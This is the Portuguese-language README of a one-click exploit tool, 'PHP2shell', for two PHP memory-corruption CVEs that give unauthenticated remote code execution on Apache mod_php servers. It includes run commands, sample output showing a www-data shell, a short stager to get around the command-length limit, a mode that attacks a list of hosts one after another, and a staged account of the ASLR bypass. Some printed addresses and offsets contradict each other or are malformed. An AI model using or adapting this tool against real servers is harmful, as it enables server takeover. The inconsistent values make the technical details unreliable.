
PoC de exploração com um clique para CVE-2026-109618 e CVE-2026-109619 contra alvos vulneráveis de PHP + Apache mod_php (prefork).
PoC armado de um clique para CVE-2026-109618 & CVE-2026-109619
Voltado a implantações vulneráveis de PHP + Apache mod_php (prefork).
⚠️ AVISO: Esta ferramenta é fornecida estritamente para testes de segurança autorizados, CTFs e pesquisa educacional. Não a utilize contra infraestruturas que não lhe pertencem ou para as quais não tenha permissão explícita de teste. O autor não assume qualquer responsabilidade pelo uso indevido.
PHP2shell é um exploit de corrupção de memória em múltiplos estágios que tem como alvo o núcleo do PHP em ambientes Apache mod_php prefork.
Ao abusar do tratamento de Out-Of-Memory (OOM) e do estado pertencente à requisição que sobrevive em workers persistentes, este exploit contorna o ASLR (Address Space Layout Randomization), vaza ponteiros internos do heap e de libphp.so, e forja estruturas do PHP para alcançar Remote Code Execution (RCE) não autenticado.
bookworm (Padrão): Imagem Docker oficial php:8.4.26-apache no Debian Bookworm.lab: Build de laboratório personalizado (PHP 8.4.26, Apache 2.4.68, Debian 12, gcc 12).Ponha tudo a funcionar em segundos.
git clone https://github.com/0xgh057r3c0n/PHP2shell.git
cd PHP2shell
chmod +x php2shell.py
python3 php2shell.py -u http://127.0.0.1:8088/index.php
$ python3 php2shell.py -u http://target.local/index.php
.__ ________ .__ .__ .__
______ | |__ ______ \_____ \ _____| |__ ____ | | | |
\____ \| | \\____ \ / ____/ / ___/ | \_/ __ \| | | |
| |_> > Y \ |_> > \ \___ \| Y \ ___/| |_| |__
| __/|___| / __/\_______ \/____ >___| /\___ >____/____/
|__| \/|__| \/ \/ \/ \/
php2shell — CVE-2026-109618 / CVE-2026-109619
CVSS v4.0: 9.2 Critical
author: 0xgh057r3c0n
[*] target http://target.local/index.php (cmd='id>/out/p1')
[*] offsets: zif=0x690d8 dtor=0x613c50 htdata=0x690d8
[*] rotating worker over HTTP
[*] stage 1: heap leak (attempt 1/3)
[+] chunk base = 0x7f8a40000000
[*] rotating worker over HTTP
[*] stage 2: libphp leak (attempt 1/3)
[+] libphp base = 0x7f8a12345000
[*] rotating worker over HTTP
[*] stage 3: HTDATA=0x7f8a40690d8 ZIF=0x7f8a123a9a870
[+] W3 attempt 1
PROOF: uid=33(www-data) gid=33(www-data) groups=33(www-data)
Devido ao tamanho do carrier de 167 bytes, o comprimento do comando é estritamente limitado a 14 bytes. Para executar payloads mais longos, use um stager curto:
python3 php2shell.py -u http://target.local/index.php -c 'sh</out/c'
Crie um arquivo targets.txt:
http://10.0.0.1/index.php
https://10.0.0.2/index.php
target.local
Execute o exploit sequencialmente contra todos os alvos:
python3 php2shell.py -t targets.txt
Se você extraiu os offsets manualmente ou está visando uma compilação personalizada, passe-os diretamente:
python3 php2shell.py -u http://target.local/index.php \
--zif-offset 0x43A870 \
--dtor-offset 0x613C50 \
--htdata-offset 0x690D8
Em vez de verificar um arquivo local, force o exploit a verificar o RCE buscando um arquivo via HTTP:
python3 php2shell.py -u http://target.local/index.php \
-c 'id>/out/p1' \
--proof-file '' \
--fetch /out/p1
| Argumento | Descrição |
|---|---|
-u, --url | URL da página PHP alvo |
-t, --target-file | Arquivo com uma URL alvo por linha |
-c, --cmd | Comando a executar (máx. 14 bytes) |
--proof-file | Arquivo de prova local a verificar (padrão: out/p1) |
--fetch | Caminho GET para verificar a exploração remotamente |
--profile | Perfil do alvo: bookworm (padrão) ou lab |
--zif-offset | Offset de zif_system em libphp.so |
--dtor-offset | Offset de ZVAL_PTR_DTOR em libphp.so |
--htdata-offset | Offset relativo ao chunk da string de 167 bytes |
--retries | Tentativas por estágio de vazamento (padrão: 3) |
--no-color | Desativa cores ANSI |
| Estágio 0 | Rotação de Worker: Envia uma requisição de tamanho excessivo para forçar o Apache prefork a abortar o worker atual e criar um novo processo filho com um heap limpo. |
| Estágio 1 | Vazamento de Heap: Dispara corrupção por OOM para que um ponteiro global de módulo referencie memória liberada. Campos de formulário pulverizados recuperam o slot com um zend_string forjado, vazando ponteiros de heap via Set-Cookie. |
| Estágio 2 | Bypass de ASLR: Vaza um ponteiro de zval_ptr_dtor de libphp.so. Subtraindo o DTOR_OFFSET conhecido, revela o endereço base da biblioteca. |
| Estágio 3 | RCE: Forja uma HashTable falsa e define pDestructor como libphp_base + ZIF_OFFSET. A rotina de limpeza do PHP chama zif_system com o seu comando. |
Licenciado sob a Licença MIT. Consulte LICENSE para detalhes.
Feito com 🔥 por 0xgh057r3c0n